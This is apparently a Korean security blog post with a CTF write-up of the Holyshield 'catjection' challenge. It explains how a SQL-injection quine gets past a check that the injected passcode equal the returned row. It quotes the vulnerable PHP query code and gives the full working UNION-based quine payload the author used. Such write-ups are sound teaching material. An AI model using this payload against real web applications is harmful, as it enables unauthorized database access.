본문으로 바로가기

SQL Injection & Quine

category Webhacking/Techniques 2019. 11. 28. 11:50

Quine은 자기 자신의 소스코드를 출력하는 프로그램이다. 이거 자체에 대해서는 위키에 잘 설명되어 있으니 개념적인 부분은 넘어간다..

 

사용할 수 있는 경우가 그리 많지 않기 때문에 real world에서 쓸 만한 건 아닌 것 같고, CTF를 대비해서 알고 있는 정도로만 해 두면 좋을 것 같다.

 

Holyshield CTF에서 catjection 문제를 풀었던 방법을 예시로 설명해보려고 한다.

http://delspon.com/holy.php?source (사망)

 

MySQL 동작을 하는 부분의 코드만 떼어서 가져와보면,

 

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
<?php
$query = "select cid,passcode from cage where cid='{$_GET[cid]}' and passcode='{$_GET[passcode]}'";
 
if(!is_numeric($_GET['cid'])){
    echo "<center><h1>[cid] is only number.</h1></center>";
    exit();
}
 
if(preg_match('/cats|_|\.|rollup|join|@/i'$_GET['passcode'])) exit("<center><img src='sad.png' width='350px'><br></center>");
 
$result = @mysqli_fetch_array(mysqli_query($conn,$query));
 
if(($result['cid']) && ($result['passcode']) && ($result['cid'== $_GET['passcode']) && ($result['passcode'== 1337)){
    print_r($result)."<br>";
    $strtok = explode('cat',$result['cid']);
    $que = substr($strtok[0],-0x10);
    $query = "select secret from cats where name='{$que}'";
    $result = @mysqli_fetch_array(mysqli_query($conn,$query));
 
    if($result['secret']){
        echo "<center><h1>secret : {$result['secret']}</h1></center>";
    }
}
 
?>

 

대회 당시에, SQL Injection으로 살펴보니 cage에는 데이터가 하나도 없다는 걸 발견할 수 있었다. (유령 테이블) 즉 $result['cid']는 원래라면 항상 NULL이 되고, cats 입력을 막기 때문에 해당 테이블에서 union 등으로 데이터를 빼내 올 수도 없어서 if문을 통과할 필요가 있었다.

 

가장 까다로운 조건은 $result['cid'] == $_GET['passcode'] 부분인데, SQL Injection의 payload를 항상 passcode로 넣어야 하는 상황에서 그 payload가 cid 결과값과 같아야 한다. 여기서 $result['passcode']에 1337을 넣어주는 Quine을 작성해 passcode GET parameter로 넘겨주면 if문을 통과할 수 있다.

 

if문 내부에서도 SQL Injection을 한 번 더 사용해야 하고, 최종적으로 아래와 같은 payload를 작성해서 문제를 풀었다.

 

' UNION SELECT REPLACE(REPLACE('" UNION SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS cid, 1337 AS passcode -- "OR 1 limit 3,1#',CHAR(34),CHAR(39)),CHAR(36),'" UNION SELECT REPLACE(REPLACE("$",CHAR(34),CHAR(39)),CHAR(36),"$") AS cid, 1337 AS passcode -- "OR 1 limit 3,1#') AS cid, 1337 AS passcode -- 'OR 1 limit 3,1#

 

찾아보니 유명한 건 아니지만 때때로 쓰이는 기법으로 보인다.

Codegate CTF 2014 Finals에서 login page 문제풀이에 사용되었다고 한다. (https://www.shysecurity.com/post/20140705-SQLi-Quine)

위 링크에 SQL Quine 생성코드도 있다. 위의 payload도 이 코드를 사용해서 만들었다.